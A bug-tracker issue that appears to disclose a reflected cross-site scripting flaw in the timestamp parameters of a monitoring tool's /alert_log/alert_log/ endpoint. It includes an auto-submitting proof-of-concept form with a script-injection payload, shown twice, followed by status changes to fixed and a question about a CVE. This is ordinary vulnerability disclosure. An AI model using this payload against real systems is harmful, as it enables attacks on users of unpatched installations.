Details
-
Bug
-
Resolution: Fixed
-
Major
-
Community Edition
-
None
Description
Hello,
Parameters "timestamp_from" and "timestamp_to" on a POST call /alert_log/alert_log/ seems to be vulnerable to Reflected Cross Site Scripting Vulnerability.
Proof Of Concept Code:
<form style="display:none" action="http://192.168.2.10/alert_log/alert_log/" method="POST">
|
<input name="timestamp_from" value="'"--></style></scRipt><scRipt>alert(1)</scRipt>"/>
|
<input name="timestamp_to" value=""/>
|
<input name="device_id%5b%5d" value="3"/>
|
<input name="alert_test_id%5b%5d" value="3"/>
|
<input name="log_type%5b%5d" value="ALERT_NOTIFY"/>
|
</form>
|
<script> HTMLFormElement.prototype.submit.call(document.forms[0]);</script>
|
Regards
Himanshu
Attachments
Activity
| Status | Original: Resolved [ 5 ] | New: Closed [ 6 ] |
| Component/s | New: Security [ 10600 ] |
Hello Mike Stupalov,
Thanks for speedy fix.
I also want to know if there will be CVE assigned for this bug?
Regards
Himanshu
| Fix Version/s | New: Professional Edition [ 10001 ] | |
| Resolution | New: Fixed [ 1 ] | |
| Status | Original: Open [ 1 ] | New: Resolved [ 5 ] |
| Description |
Original:
Hello,
Parameters "*timestamp_from*" and "*timestamp_to*" on a POST call /alert_log/alert_log/ seems to be vulnerable to Reflected Cross Site Scripting Vulnerability. Proof Of Concept Code: <form style="display:none" action="http://192.168.2.10/alert_log/alert_log/" method="POST"> <input name="timestamp_from" value="'"--></style></scRipt><scRipt>alert(1)</scRipt>"/> <input name="timestamp_to" value=""/> <input name="device_id%5b%5d" value="3"/> <input name="alert_test_id%5b%5d" value="3"/> <input name="log_type%5b%5d" value="ALERT_NOTIFY"/> </form> <script> HTMLFormElement.prototype.submit.call(document.forms[0]);</script> Regards Himanshu |
New:
Hello,
Parameters "*timestamp_from*" and "*timestamp_to*" on a POST call /alert_log/alert_log/ seems to be vulnerable to Reflected Cross Site Scripting Vulnerability. Proof Of Concept Code: {code} <form style="display:none" action="http://192.168.2.10/alert_log/alert_log/" method="POST"> <input name="timestamp_from" value="'"--></style></scRipt><scRipt>alert(1)</scRipt>"/> <input name="timestamp_to" value=""/> <input name="device_id%5b%5d" value="3"/> <input name="alert_test_id%5b%5d" value="3"/> <input name="log_type%5b%5d" value="ALERT_NOTIFY"/> </form> <script> HTMLFormElement.prototype.submit.call(document.forms[0]);</script> {code} Regards Himanshu |
| Assignee | Original: Adam Armstrong [ adama ] | New: Mike Stupalov [ landy ] |
@Mike Stupalov
Could you please let me know?